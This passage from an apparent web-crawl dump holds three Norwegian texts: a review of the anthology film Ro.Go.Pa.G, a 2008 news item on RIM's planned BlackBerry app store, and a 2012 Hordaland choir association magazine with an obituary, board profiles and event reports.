Rosselinis bidrag, \u00abIllibatezza\u00bb (\"Jomfruelighet\" eller \"Dydighet\"). Filmen avsl\u00f8rer hans \u00e5penbare begrensninger som filmskaper \u2013 mannen var ikke akkurat en avantgardistisk kunstner. Episoden handler om en flyvertinne som blir fors\u00f8kt sjekket opp av en middelaldrende amerikaner, introdusert glanende i et playboy-blad. Mannen gir seg ikke og forf\u00f8lger kvinnen mens han filmer henne med kamera sitt. I en overtydelig banalisering av Sigmund Freuds Oedipus-kompleks, viser det seg at mannen ser p\u00e5 kvinnen som et mors-substitutt og begj\u00e6rer henne av den grunn.\n\n\n\nRosselini portretterer ham som en patetisk og barnslig sutrekopp, kontrastert med de anstendige italienske mennene. Det topper seg da en psykolog kommer p\u00e5 banen og regelrett holder en lektyre for seeren om mannens seksuelle \"perversjon\". De anbefaler kvinnen \u00e5 kle seg utfordrende, slik hun ikke fremst\u00e5r som den dydige morsfiguren mannen vil ha. Det hele blir til slutt veldig komisk n\u00e5r Rosselini viser den gr\u00e5tende mannen mens han griper etter bildet av kvinnen som er prosjektert p\u00e5 veggen. Han s\u00f8rger over den tapte moren, men alt st\u00e5r igjen med er en illusjon\u2014for \u00f8vrig en id\u00e9 som landsmannen Marco Ferreri gjorde langt bedre med den str\u00e5lende Dillinger is Dead noen \u00e5r senere. Filmen blir aldri interessant ettersom Rosselini ikke tar menneskene han viser p\u00e5 alvor, og dessuten avsl\u00f8rer en manglende forst\u00e5else av psykoanalyse \u2013 som blottstilles i filmens forbausende mangel p\u00e5 psykologisk dybde.\n\nN\u00e5r Godard kommer p\u00e5 banen med \u00abIl Nuovo Mondo\u00bb (Den Nye Verden), tar alt seg opp. Den har en merkelig og abstrakt historie om et kj\u00e6rlighetsforhold som g\u00e5r mot slutten, med tidens atombombetrussel som bakteppe. Plottmessig h\u00f8res den bemerkelsesverdig lik Michaelangelo Antonionis interessante L'eclisse, men Godards stil og fremgangsm\u00e5te skiller seg fra Antonionis. Som man kan forvente fra Godards h\u00e5nd, eksperimenter han med lyd via brutte overganger; lange tagninger av Paris' gater r\u00f8ykende, unge intellektuelle mennesker som inng\u00e5r i abstrakt dialog.\n\n\n\nGodard lykkes i \u00e5 formidle en apokalyptisk og vakker stemning som i hvert fall fikk undertegnede til \u00e5 tenke p\u00e5 Chris Markers glimrende La Jet\u00e9e\u2013 en film utelukkende fortalt i stillbilder. Dette oppn\u00e5r Godard med m\u00e5ten han isolerer sm\u00e5 \u00f8yeblikk og omsv\u00f8per den i en mystisk og trykkende stillhet, som for eksempel n\u00e5r Alexandra kjemmer h\u00e5ret. Stilen gir det hele en slags dommedagf\u00f8lelse som forh\u00f8ynes ved hjelp av disse isolerte og stille \u00f8yeblikkene. Derfor er det litt skuffende n\u00e5r parets konflikt aldri blir tilstrekkelig engasjerende, kanskje grunnet uengasjerende dialog. Godards bidrag f\u00f8les som en skisse til noe som kunne blitt *veldig* bra, men som i kort format f\u00f8les litt uforl\u00f8st.\n\nDen tredje filmen er \u00abLa Ricotta\u00bb (som rett og slett henviser til Ricotta-ost) av **Pier Paolo Pasolini**, som i seg selv gj\u00f8r **Ro.Go.Pa.G** til en film verdt \u00e5 se. \u00abLa Ricotta\u00bb er en blanding av mange forskjellige sjangre: neo-realisme, nyhetsreportasje, Hollywoods religi\u00f8se episke filmer og slapstick-grep Pasolini bruker for \u00e5 vise hvor langt fra hverandre katolikkene og de fattige var. Filmen handler om en regiss\u00f8r (spilt av Orson Welles) som skal filmatisere Jesu korsfestelse i h\u00f8ydramatisk og glorete amerikansk \u00e5nd. Men regiss\u00f8ren har problemer med at skuespillerne tar historien p\u00e5 alvor: for dem er jo ikke dette en realitet, men en opph\u00f8yd og falsk virkelighet skapt av mennesker som ikke har opplevd lidelse, og som s\u00e5ledes ikke klarer \u00e5 portrettere det. Det oppst\u00e5r komiske situasjoner, for regiss\u00f8ren m\u00e5 v\u00e6re tyrannisk for at de skal f\u00f8lge hans ordre: \u00abSlutt \u00e5 gjesp\\! Dette er ikke en fransk komedie \u2013 v\u00e6r trist\\! Slutt og pirk deg i nesen\\!\u00bb For \u00e5 komplisere det hele ytterligere, later Welles' karakter til \u00e5 v\u00e6re en forlengelse av Pasolini selv \u2013 muligens som en ironisering over kunstneren som en privilegert iscenesetter av lidelse, og som en kommentar p\u00e5 hans kommende Jesus-film The Gospel According to St.Matthew.\n\n\n\nDelen som skildrer filminnspillingen av Jesu Korsfestelse i farger, veksles med en neo-realistisk historie i svart-hvitt om Stracci \u2013 en fattig mann som ogs\u00e5 skal spille korsfestet. Han er for \u00f8vrig mest opptatt av \u00e5 br\u00f8df\u00f8 sin familie og benytter pausene med \u00e5 gjemme unna mat, deriblant Ricotta-osten. Pasolini blander inn slapstick og filmer alt i rask film, noe jeg aner er en slags hyllest til Charlie Chaplins sosialrealisme og hans m\u00e5te \u00e5 vise de vanskeligstiltes hverdag p\u00e5. Teknikken med \u00e5 \"speede\" opp filmen tilf\u00f8yer en slags ydmyk humoristisk menneskeliggj\u00f8ring av subjektet.\n\nSom jeg skrev i min tidligere artikkel om Pasolini, p\u00e5peker han:\n\n> \u00ab\\[D\\]et falske i \u00e5 dyrke en skinnhellig, opph\u00f8yd og ikonisk Jesus som det har v\u00e6rt tradisjon for i det katolske Italia. Han gj\u00f8r narr av den sakrale stemningen i Jesu korsfestelse og gj\u00f8r hendelsen i stedet om til et festlig karneval, med innslag av slapstick og seksuelle undertoner.\u00bb\n\nFilmen ble anmeldt for blasfemi og f\u00f8rte til at Pasolini ble d\u00f8mt til fire m\u00e5neder fengsel, en dom han fikk omgjort etter mange runder i rettssystemet.\n\nDen siste delen, **Ugo Gregoretti**s \u00abIl Pollo Ruspante\u00bb (Frittg\u00e5ende H\u00f8ner), er en veldig tydelig, men morsom kritikk av forbrukersamfunnet. Filmen tar for seg en middelklassefamilie fanget i et altoppslukende forbrukerhelvete: Barna er i s\u00e5 stor grad utsatt for reklame-slagord at de siterer de p\u00e5 rams, en eiendomsmegler g\u00e5r til frontalangrep p\u00e5 en bondes k\u00e5l\u00e5ker fordi han har plantet gr\u00f8nnsaken p\u00e5 omr\u00e5der som skal brukes til boligbygging, og sist men ikke minst blir farens beretning om frittg\u00e5ende kyllinger en overtydelig metafor p\u00e5 forbrukerne selv. Dette hamrer Gregoretti inn ved \u00e5 lage en festlig overtoning hvor menneskene p\u00e5 kafeen blir til kyllinger.\n\n\n\nSelv om dette strengt tatt er en lite subtil satire, oppleves den som florlett humoristisk \u2013 med positivt fortegn. En s\u00e6rlig minneverdig episode er den hvor s\u00f8nnen i familien leker banditt, komplett med pistol og cowboyhatt. \u00abHvem er du n\u00e5?\u00bb, sp\u00f8r faren n\u00e5r han ser ungen peke p\u00e5 ham med en revolver. \u00abPasolini\\!\u00bb, svarer s\u00f8nnen.\n\n**Ro.Go.Pa.G er en ujevn antalogifilm. Men kommer man seg forbi Rosselinis d\u00e5rlige (men aldri uutholdelige) \u00e5pningsfilm, er resten en forn\u00f8yelig opplevelse, med et \u00e5penbart h\u00f8ydepunkt i Pasolinis str\u00e5lende \u00abLa Ricotta\u00bb \u2013 som er verdt billetten (eller dvd-kj\u00f8pet) alene.**\n\n", "language": "no", "__index_level_0__": "f37e9cc6-bb01-4b6e-9b9c-17ba708fa5eb"}
{"url": "https://www.digi.no/artikler/blackberry-far-egen-app-store/199093", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:36:27Z", "text": "\n\n# Blackberry f\u00e5r egen \u00abapp store\u00bb\n\nApple runder 200 millioner nedlastede programmer, og n\u00e5 v\u00e5kner konkurrentene.\n\n  -  Marius J\u00f8rgenrud\n  - For utviklere\n  - 22\\. okt. 2008 - 14:18\n\nApple har vist vei for konkurrentene med sin markedsplass for salg av programvare til mobiltelefonen iPhone.\n\nNettbutikken \u00abApp Store\u00bb ble raskt en formidabel suksess for Apple. P\u00e5 samme m\u00e5te som salget av musikkfiler har v\u00e6rt en gullgruve gjennom iTunes, har sm\u00e5programmer til iPhone g\u00e5tt som varme hveteboller gjennom deres plattform for programvare.\n\n**Innen dagen er omme vil Apple ha formidlet 200 millioner program-nedlastinger til iPhone.**\n\nDet opplyste selskapet under g\u00e5rsdagens kvartalspresentasjon. Milep\u00e6len kommer bare snaut hundre dager etter butikken \u00e5pnet 11. juli.\n\nDette er en utvikling som konkurrentene ikke vil sitte stille og se p\u00e5.\n\nI tur og orden har akt\u00f8rer som Microsoft og Google henholdsvis planlagt og lansert tilsvarende markedsplass, for \u00e5 tilby programvare til deres produkter p\u00e5 en enkel m\u00e5te.\n\nAlle oppfatter de at programvaretilbud fra tredjepartsakt\u00f8rer er en sv\u00e6rt viktig del av \u00f8kosystemet for smarte mobiltelefoner.\n\n**N\u00e5 er ogs\u00e5 teknologiselskapet Reasearch In Motion (RIM) klare med planer om en slik l\u00f8sning for deres Blackberry-serie.**\n\nDeres smarte mobiltelefoner har lenge v\u00e6rt markedsledende i USA, men g\u00e5rsdagens tall fra Apple viser at iPhone for f\u00f8rste gang har g\u00e5tt forbi dem ogs\u00e5 i Amerika.\n\nPlanene om en egen nettl\u00f8sning for distribusjon av programvare til Blackberry ble kunngjort p\u00e5 RIMs f\u00f8rste utviklerkonferanse, som avholdes denne uken.\n\nDen offisielle lanseringen av denne tjenesten vil if\u00f8lge Internettnews.com ikke skje f\u00f8r mars neste \u00e5r, men RIM planlegger \u00e5 ta imot applikasjoner fra utviklere som vil v\u00e6re med allerede fra desember m\u00e5ned.\n\nSelskapet skal samarbeide med nettbetalingsakt\u00f8ren PayPal for \u00e5 bygge l\u00f8sningens betalingssystem.\n\nUtviklerne av programvare til Blackberry skal i likhet med betingelsene for Apples App Store selv f\u00e5 bestemme prisen p\u00e5 programvaren. Av denne avgiften vil de beholde 80 prosent av summen selv, litt mer enn Apple, som tilbyr 70 prosent.\n\nRIM vil ogs\u00e5 lansere nye utviklingsverkt\u00f8y som blant annet st\u00f8tter Gears, Visual Studio og Eclipse.\n\n", "language": "no", "__index_level_0__": "59acf4e1-3ad3-473e-8bd7-a01f8278c1ae"}
{"url": "http://docplayer.me/2899272-Korkontakt-8-9-juni-2012-grieghallen-bergen-landsdekkende-korkonkurranse-medlemsblad-for-norges-korforbund-hordaland-nr-1-2012-22.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:09Z", "text": "3 FRA KONTORET Med sorg mottok vi melding om at Liv Vigdis D\u00e6mring sovnet stille inn natt til mandag 23. april. Vi vil minnes hennes uvurderlige og utrettelige arbeid for korforbundet gjennom n\u00e6rmere 30 \u00e5r. Fred over minnet\\! Minneord kan leses p\u00e5 neste side. \u00c5RSM\u00d8TET Vi takker Ole Hesjedal for hans innsats som leder i distriktsleddet gjennom flere perioder, og for hans bidrag for Norges Korforbund Hordaland i en periode med store omveltninger og endringer, b\u00e5de p\u00e5 bemanningssiden og i organisasjonen for \u00f8vrig. Rebecca Haga har allerede en periode bak seg som styremedlem, og vi gratulerer med verv som distriktsleddets nye leder. Tre nye styremedlemmer ble valgt inn og disse finner du en n\u00e6rmere presentasjon av p\u00e5 side 5 Det nye styret f\u00e5r utfordringer i innev\u00e6rende \u00e5r i \u00e5 bedre \u00f8konomien for distriktsleddet. Det er n\u00f8dvendig for at v\u00e5re medlemmer skal kunne f\u00e5 et rikt og allsidig tilbud. Vi h\u00e5per v\u00e5re medlemskor vil v\u00e6re med \u00e5 bidra, bl.a. ved \u00e5 tilslutte seg aktiviteter og andre tiltak som iverksettes. V\u00e5re aktiviteter juni kan Norges Korforbund Hordaland presentere den 13. korkonkurransen SYNG FOR OSS i Grieghallen. 25 kor er klare for konkurranse og p\u00e5 side 7 finner du oversikt over deltakende kor og tidsplan. Vi h\u00e5perat du som ikke synger i konkurransene likevel kommer som aktiv publikummer. St\u00f8tt opp, bli inspirert og bidra til god stemning i salen for de spente konkurrentene. 9. september gjentar vi fjor\u00e5rets suksess: Med song for ei betre verd. Frist for p\u00e5melding er satt til 17. mai, men vi fyller p\u00e5 s\u00e5 lenge det er plass. Meld dere p\u00e5\\! Mer info p\u00e5 side 15. Ansatte i Norges Korforbund Hordaland Kontoret i Komediebakken 9, 2 etg. er \u00e5pent mandag, onsdag og torsdag kl , tlf , fax Kaja Olaussen, korkonsulent,(50 %) e-post: Leif Egil Vatn\u00f8y, musikkfaglig korkonsulent,(20 %) e-post: Annlaug Hus, info og Korkontakt,(engasjement) e-post Kaja Olaussen kommer fra korsangens h\u00f8yborg, Estland og har sunget i kor hele livet. Hun har studert spr\u00e5k og musikk i Estland og har tidligere jobbet i reiselivs- og mobilbransjen. Da Kaja kom til Norge for 15 \u00e5r siden meldte hun seg inn i kor f\u00f8r hun kunne norsk. N\u00e5 synger hun i Bergen Operakor. Kaja har erfaring med \u00e5 formidle kulturkontakter mellom Norge og Estland og vil gjerne stille opp dersom noen vil ha hjelp med det. For oss i korforbundet er hun den praktiske kontaktpersonen som gjennom sin 50 % stilling ordner alt for medlemmene, og s\u00e5 har hun en effektiv h\u00e5nd med i alle arrangementer i distriktets regi. Ringer du til NK Hordaland, s\u00e5 treffer du Kaja. Leif Egil Vatn\u00f8y er kjent for mange i kormilj\u00f8et. Han arbeider i 20 % som musikkfaglig konsulent for NK Hordaland. Leif Egil har jobbet med kor - sang - dans og teater hele sitt liv. Han har dirigert Seim songkor i over 20 \u00e5r med div. oppsetninger, konserter, konkurransar, og har ellers hatt mange korseminar over hele landet. Leif Egil g\u00e5r ikke av veien for de store prosjektene med erfaring fra. Which Witch p\u00e5 Seim, for NKH Abba og Queen, og \"Motown\" p\u00e5 B\u00f8mlo m.fl Leif Egil har mange dansekurs - og for tiden er det tango som er i h\u00f8gsetet. Han jobber ogs\u00e5 i 60% stilling som sangpedagog p\u00e5 vokallinja p\u00e5 \u00c5sane folkeh\u00f8gskule og ellers som frilanser. 3\n\n\n\n4 Liv Vigdis D\u00e6mring gikk bort , 63 \u00e5r gammel, etter lang tids kamp mot sykdom. For korbevegelsen i Hordaland, og i landet for \u00f8vrig, har hun gjennom n\u00e6rmere 30 \u00e5r v\u00e6rt personifiseringen av korforbundet i Hordaland. Hennes betydning for Norges Korforbund Hordaland (NKH), for hundrevis av kor og dirigenter, og ikke minst for tusenvis av korsangere, er uvurderlig. Liv Vigdis m\u00f8tte p\u00e5 \u00e5rsm\u00f8tet til Hordaland Sangerforbund for f\u00f8rste gang i Hun representerte da Haukeland Songlag, som i alle \u00e5r var hennes kor. Den gang var Liv Vigdis en 34 \u00e5r gammel, gift tobarnsmor i full jobb som regnskapsf\u00f8rer. Hennes tydelige engasjement ble fort fanget opp, og hun ble valgt inn som kasserer i en, den gang, sv\u00e6rt s\u00e5 mannsdominert organisasjon. Liv Vigdis brakte med seg tidligere erfaring fra effektive organisasjoner innenfor idrett og husmorlag, og bidrog, med sitt engasjement og mot, til \u00f8kt aktivitet og effektivitet i organisasjonen. Liv Vigdis deltok i denne perioden i et samarbeidsutvalg best\u00e5ende av det som p\u00e5 den tiden var fire kororganisasjoner i Hordaland. I 1989 lyktes deres arbeid om \u00e5 samles, og fylkesorganisasjonen Hordaland Korforbund s\u00e5 dagens lys. Liv Vigdis satt i det f\u00f8rste styret som sekret\u00e6r. Allerede \u00e5ret etter ble hennes organisatoriske talent oppdaget p\u00e5 nasjonalt plan, og hun ble valgt inn i landsstyret i Norges Korforbund, hvor hun i en senere periode ogs\u00e5 satt som visepresident. Aktivitetsniv\u00e5et i Hordaland korforbund var n\u00e5 s\u00e5 h\u00f8yt at ansettelse av en fylkessekret\u00e6r var n\u00f8dvendig for \u00e5 kunne f\u00f8lge opp den positive utviklingen. I 1991 ble Liv Vigdis, som den f\u00f8rste p\u00e5 landsplan, fast ansatt i et distriktsledd. Det startet med en 50 % stilling, men denne ble senere utvidet til 100 %. Liv Vigdis D\u00e6mring arbeidet aktivt for Norges Korforbund Hordaland helt frem til mai 2011, da hun ble sykemeldt. Gjennom sitt virke var Liv Vigdis en pioner og en p\u00e5driver i \u00e5 utvikle en fylkesorganisasjon som ble et foregangseksempel for andre deler av Norges Korforbund, og som vi i Hordaland var stolte av. Minneord Liv Vigdis D\u00e6mring 4 Uredd og med stort mot har hun tr\u00e5kket opp stier vi andre n\u00e5 kan f\u00f8lge. Det er ingen selvf\u00f8lge at dagens korkonkurranser, kurshelger, prosjektkor, korcruice, festivaler osv. lever i beste velg\u00e5ende. Liv Vigdis var produsenten som skapte og iverksatte felles aktiviteter for medlemmene, s\u00e5 vel som prosjektkoordinatoren som samarbeidet med andre akt\u00f8rer om felles prosjekter og ordninger til beste for sangere og kor. Behovet for \u00e5 kurse tillitsvalgte i alle deler av Norges Korforbund, gjorde Liv Vigdis til en mye benyttet og popul\u00e6r instrukt\u00f8r. Styrene i Norges Korforbund Hordaland kom og gikk. Liv Vigdis, som fylkessekret\u00e6r, var kontinuiteten som bes\u00f8rget stabil drift og forutsigbarhet. Liv Vigdis var NKHs ansiktet utad. Det v\u00e6re seg i den daglige kontakten med v\u00e5re medlemskor, via representasjonsoppgaver eller som kulturpolitisk representant i utvalg og komit\u00e9er, s\u00e5 vel som i dialog med fylke og kommune. For tillitsvalgte og dirigenter i korforbundet var Liv Vigdis en viktig r\u00e5dgiver som kunne svare de fleste n\u00e5r det gjaldt det meste. Liv Vigdis har gjennom n\u00e6rmere 30 \u00e5rs arbeid for korbevegelsen i Hordaland v\u00e6rt limet og kontinuiteten, inspiratoren og p\u00e5driveren. Hun var m\u00e5lrettet og romslig samtidig som hun kunne v\u00e6re b\u00e5de sta og tydelig p\u00e5 hva hun mente. Med st\u00f8 kurs styrte Liv Vigdis, i godt samarbeid med de tillitsvalgte, korskuten gjennom mange og ulike farvann. For sin innsats for korbevegelsen har Liv Vigdis blitt hedret med b\u00e5de Norges Korforbunds fortjenstmedalje og \u00e6resmedlemskap i Norges Korforbund Hordaland. Vi er mange som har mye \u00e5 takke Liv Vigdis for. Kormilj\u00f8et, n\u00e5v\u00e6rende og tidligere styremedlemmer i Norges Korforbund Hordaland, medlemskor dirigenter og tusener av korsangere over hele landet, vil minnes Liv Vigdis i takknemlighet og respekt. M\u00e5tte vi lykkes med \u00e5 ivareta og videref\u00f8re Liv Vigdis D\u00e6mrings gode arbeid. Fred over hennes minne\\! Norges Korforbund Hordaland\n\n\n\n5 VI PRESENTERER Nyvalgte styremedlemmer i Norges Korforbund Hordaland Turid Rabben Sund Blandakor Line K. Losneg\u00e5rd B\u00f8neskoret Jarl Petter Bakke Folles\u00f8 Mannskor Turid Rabben Turid har 4 barn og 8 barnebarn. Hun ble enke i 2003, som var en t\u00f8ff periode i hennes liv. N\u00e5 bor hun sammen med Anton og har det fint. For 26 \u00e5r siden startet Turid og hennes mann bilverksted ute i Sund, og hun hadde to jobber i mange \u00e5r. I dag har hennes s\u00f8nn, Jarle overtatt, men Turid jobber der fremdeles, full tid. Turid begynte \u00e5 synge i kor som ganske ung, og har sunget i diverse kor det meste av livet, men med et opphold i noen \u00e5r da barna var sm\u00e5. N\u00e5 synger hun i Sund Blandakor som er en flott gjeng. Koret har reist en del p\u00e5 utlandsturer og hatt konserter der. Turid har hatt styreverv der og vert leder i 1 \u00e5r for mange \u00e5r siden. - Som Styremedlem i Norges Korforbund Hordaland g\u00e5r jeg et spennende \u00e5r i m\u00f8te, og ser frem til \u00e5 l\u00e6re korforbundet \u00e5 kjenne, og se hvor mye det er som skjer i regi av NKH. H\u00e5per vi kan f\u00e5 gjort det som forventes av oss, og at vi er synlige, og til stede for alle v\u00e5re medlemmer. Line K. Losneg\u00e5rd Line er f\u00f8dt i Bergen. Hun er skilt og har en voksen datter. B\u00f8neskoret har v\u00e6rt hennes kor siden F\u00f8r det har hun sunget i flere kor p\u00e5 \u00d8stlandet, b\u00e5de damekor og blandete kor. Hun er utdannet statsviter og har alltid hatt samfunnsengasjement og interesse for organisasjonsarbeid. Line har lang erfaring som styremedlem og leder i Land\u00e5s skoles musikkorps, i De Unges Orkesterforbund/Ung Symfoni og som leder lokalt og sentralt i Landsforeningen for Kvinner med Bekkenl\u00f8sningsplager. Hun ble 100% uf\u00f8r etter en bilulykke for mange \u00e5r siden. \u00c5 ut\u00f8ve og oppleve musikk s\u00e6rlig korsang gir meg stor glede, en positiv identitet og et fellesskap, noe som er spesielt viktig n\u00e5r man st\u00e5r utenfor arbeidslivet. En organisasjon som Norges Korforbund m\u00e5 legge forholdene til rette for medlemskorene, ivareta bredden og mangfoldet i korbevegelsen og gi utviklingsmuligheter til korister og dirigenter. - For meg er det viktig og sentralt at forbundet er korenes taler\u00f8r overfor politikere, byr\u00e5krati og publikum, b\u00e5de lokalt og sentralt. 5 Jarl Petter Bakke Er f\u00f8dt og oppvokst i V\u00e5gs\u00f8y som ligger i Nordfjord. Min musikalske bakgrunn har jeg fra musikkkorps der jeg spilte tenor i 6 \u00e5r i ungdommen. Kommer fra et hjem der korsang var et daglig tema da far sang i diverse mannskor og blandet kor i over 60 \u00e5r. Flyttet til F\u00f8rde der jeg bodde i ca. 30 \u00e5r med familie. Har 2 voksne barn som fortsatt bor i F\u00f8rde. I denne tiden var jeg engasjert i fotball milj\u00f8et i 15 \u00e5r b\u00e5de som aktiv, oppmann, sportslig leder og styremedlem i klubben. Flyttet til Bergen i 2002, bor i Fyllingsdalen og jobber som personalkonsulent i et selskap som holder til p\u00e5 Kokstad. Begynte i Folles\u00f8 Mannskor i 2009 s\u00e5 jeg er temmelig fersk i kormilj\u00f8et. Er ny i styret i NH Hordaland, men det er allerede gjennomf\u00f8rt to styrem\u00f8ter s\u00e5 vi er begynt \u00e5 bli kjent med hverandre. Det nye styret har mange og krevende oppgaver som m\u00e5 l\u00f8ses. N\u00e5r jeg ser hvor engasjerte det enkelte styremedlem er p\u00e5 \u00e5 bidra til \u00e5 l\u00f8se de ulike oppgavene, er jeg ikke i tvil om at vi vil lykkes. Korbevegelsen har store utfordringer, spesielt med rekrutteringen. I dagens samfunn der det meste skal styres fra en pc er det ikke lett \u00e5 engasjere ungdommer til \u00e5 begynne i kor, her har vi en stor oppgave foran oss. Det er viktig at vi som er i milj\u00f8et snakker med v\u00e5re ungdommer om den glede og fellesskap det er \u00e5 delta i kor.det er den eneste m\u00e5ten vi kan opprettholde bredden, og bevare den kulturskatten som korbevegelsen er.\n\n\n\n6 KURSHELGEN februar 54 dirigenter og korssangere fordelt p\u00e5 tre kurs; kurs for dirigenter med \u00d8ystein Fevang, basiskurs i korledelse med Gro Espedal og kurs for korsangerer med Mariann Schei kan se tilbake p\u00e5 en topp kurshelg p\u00e5 Sandsli. Kurset for tillitsvalgte kunne ikke gjennomf\u00f8res p\u00e5 grunn av for liten p\u00e5melding, men vi satser p\u00e5 nytt i 2013 og h\u00e5per \u00e5 se mange tillitsvalgte p\u00e5 neste kurs. Mange gode og konstruktive tilbakemeldinger etter \u00e5rets kurshelg p\u00e5 Sandsli gir inspirasjon til nye kurshelger som n\u00e5 skal utarbeides. La deg inspirere av Arne Nj\u00f8sen i songlaget Stordabuen sin tilbakemelding etter kurshelgen. Triveleg og l\u00e6rerik kurshelg p\u00e5 Sandsli laurdag 20. og sundag 21 februar..med ein tidleg start heimanfr\u00e5 kom vi til hotellet ca 0915 og rakk dermed \u00e5 vera med p\u00e5 siste del av oppvarminga som var i full gang.s\u00e5 var det ein rask kopp kaffi f\u00f8r 26 forventningsfulle deltakarar byrja kurset om stemmebruk. Mariann Schei var kursleiar og ho starta med ein lettforst\u00e5eleg og praktisk gjennomgang om st\u00f8tte- kvifor og alternative teknikkar for st\u00f8tte. Deretter var complete vocal technique systemet brukt som ramme for undervisninga. Systemet er utvikla av ein dansk songer og kan grovt skisserast slik; 3 \u00e5lmenne grunnpilarar: st\u00f8tte n\u00f8dvendig tweng, unng\u00e5 framskoten underkjeve og straming av lepper. 4 songmodus: neutral, curbing, overdrive, edge. Sound (tonetype) lys---m\u00f8rk. Forskjellege effektar Dei fire sangmodus vart gjennomg\u00e5tt med effektinnhald og eksempel, og sj\u00f8lv om systemet og omgrepa var nye for mange syntest i alle fall underteikna at det gav ei betre forst\u00e5ing av songteknikk enn eg hadde f\u00f8r. P\u00e5 slutten av dagen byrja vi p\u00e5 masterkclass-opplegg der den einskilde deltakar la fram eit eige songteknisk problem og fekk Over: dirigentkurs med \u00d8ystein Fevang Under: basiskurs i korledelse med Gro Espedal hjelp til \u00e5 l\u00f8ysa dette av kursleiaren..deretter repeterte heile kurset det som var gjennomg\u00e5tt. Eg er trygg p\u00e5 at fleire enn eg fekk aha-oppleving i denne delen (mange av oss oppdaga og at det var heller ufarleg \u00e5 st\u00e5 og synga \u00e5leine),sundag fortsette vi med same opplegg pluss litt repetisjon av stoff fr\u00e5 laurdag.. Sosialt: Det er alltid triveleg \u00e5 treffe songvener fr\u00e5 andre kor. N\u00e5r ein d\u00e5 attp\u00e5til bur p\u00e5 eit framifr\u00e5 hotell og f\u00e5r ein s\u00e6rdeles velsmakande middag samt softis,kaker og kaffi n\u00e5r ein ynskjer er det vel berre tanken p\u00e5 kaloriane som lager sk\u00e5r i gleda. Konklusjon: Ei s\u00e6rdeles triveleg helg med godt songfagleg utbytte. Kurs for korsangere med Mariann Schei 6\n\n\n\n\n\n8 Lydanlegg noe for kor? Torbj\u00f8rn Aadland, dirigent for Manna og sanger i Bless Har du noen gang dr\u00f8mt om \u00e5 ha et eget lydanlegg for koret ditt? Mannskoret Manna og vokaloktetten Bless har sammen gjort alvor av dr\u00f8mmen. I august i fjor gikk de til innkj\u00f8p av mikrofoner, h\u00f8yttalere og en digital miksepult med 16 spor. - Jeg har dr\u00f8mt om et lite anlegg til Manna i fem-seks \u00e5r, sier dirigent Torbj\u00f8rn Aadland. - Men det har blitt med dr\u00f8mmen inntil i fjor vinter, da jeg fikk vite om en digital miksepult som var s\u00e5pass rimelig at et komplett, godt og portabelt anlegg ikke trengte \u00e5 bli alt for dyrt. De to gruppene gikk sammen og hentet inn tilbud fra forskjellige forhandlere, og endte opp med et komplett, portabelt anlegg med kurant kvalitet for under kr. Siden flere av medlemmene i Manna (inkludert Aadland selv) ogs\u00e5 er med i Bless, vil gruppene sjelden f\u00e5 problem med at begge trenger anlegget p\u00e5 likt. Og siden miksepulten er digital, kan hver av gruppene lagre sine innstillinger og raskt f\u00e5 dem frem igjen for hver opptreden. Et halvt \u00e5r etter at anlegget ble kj\u00f8pt inn, har begge gruppene gode erfaringer med \u00e5 bruke anlegget i praksis, b\u00e5de p\u00e5 opptredener og \u00f8velser. Noen ganger selvkj\u00f8rt, andre ganger med innleid tekniker. Som for eksempel da Bless brukte anlegget p\u00e5 to julekonserter - For anledningen leide vi inn en proff tekniker som stilte med tr\u00e5dl\u00f8se mikrofoner og ekstern klangboks, men h\u00f8yttalere, monitorer og miksepult var fra v\u00e5r egen pakke. For 7000 kr i teknikerleie fikk vi to konserter med s\u00e5 god lyd som vi aldri har hatt f\u00f8r, sier Aadland. - Hvis vi skulle leid inn hele anlegget, ville vi m\u00e5ttet betale mer enn dobbel pris. Da skal det ikke mange konserter til f\u00f8r investeringen har betalt seg tilbake og vel s\u00e5 det. En av fordelene med eget anlegg, er at det er lettere \u00e5 ta p\u00e5 seg betalte oppdrag. - Denne v\u00e5ren har Manna tatt p\u00e5 seg fem betalte oppdrag i forbindelse med ulike \u00e5rsm\u00f8ter, landsm\u00f8ter og stevner, mens tidligere har vi kanskje hatt ett eller maks to slike oppdrag per semester, sier Aadland. Han gj\u00f8r gjerne teknikerjobben selv, hvis lokalet har greie akustiske forhold og ikke er for stort. Hvordan g\u00e5r man fram? For et kor eller en vokalgruppe som ikke har s\u00e5 mye peiling p\u00e5 lyd, er det ikke s\u00e5 lett \u00e5 komme fram til hva som trengs for \u00e5 skaffe seg et komplett anlegg. Manna og Bless deler gjerne av sine erfaringer p\u00e5 dette omr\u00e5det. 8 - F\u00f8r man g\u00e5r til innkj\u00f8p av et anlegg, b\u00f8r man kjenne noen som har nok teknisk innsikt til \u00e5 sette seg inn i hvordan miksepulten fungerer, og hvordan man kan gj\u00f8re grunnleggende innstillinger for \u00e5 f\u00e5 grei lyd til \u00f8vingsbruk. Det kan gjerne v\u00e6re medlemmer i koret som er litt teknisk interessert. Til konserter og andre viktige opptredener er det tryggest \u00e5 hyre inn en proff tekniker, men til \u00abdagligdagse\u00bb oppdrag holder det gjerne at dirigenten eller en teknisk ildsjel i koret gj\u00f8r enkle justeringer av miksen mellom sangene, for eksempel \u00e5 skru opp eller ned en solist.\n\n\n\n\n\n\n\n11 KOR KRYSSER GRENSER Seim Songkor til Riva del Garda p\u00e5sken 2012 Klokka er laurdag 31.mars, og 24 glade sangere og gjester st\u00e5r klare p\u00e5 Flesland for avreise til Riva del Garda via K\u00f8benhavn. Etter mange timer p\u00e5 fly og flyplasser og deretter 4 timer p\u00e5 buss fra Milano til Riva ankommer vi Hotel Riva Grande i Riva i str\u00e5lende sol og ca 20 grader. L\u00f8rdag ettermiddag er vi klare for den f\u00f8rste \u00f8vingen v\u00e5r og den blir p\u00e5 takterrassen p\u00e5 hotellet\\! S\u00f8ndag morgen er vi klare for nok en \u00f8ving, og deretter lydpr\u00f8ve i Chiesa Santa Maria Assunta ikledd bunader. For en fantastisk klang\\! Etter en kort pr\u00f8ve er det tid for parade gjennom gamlebyen, og \u00e5pning av ordf\u00f8reren. Mandag morgen st\u00e5r vekkerklokkene p\u00e5 hos mange av sangerne og flere av oss m\u00f8tes p\u00e5 tur ute langs strandpromenaden f\u00f8r frokost. Vi skal ha \u00f8ving kl , og v\u00e6re klare i kirken for konkurranse kl Alle har en 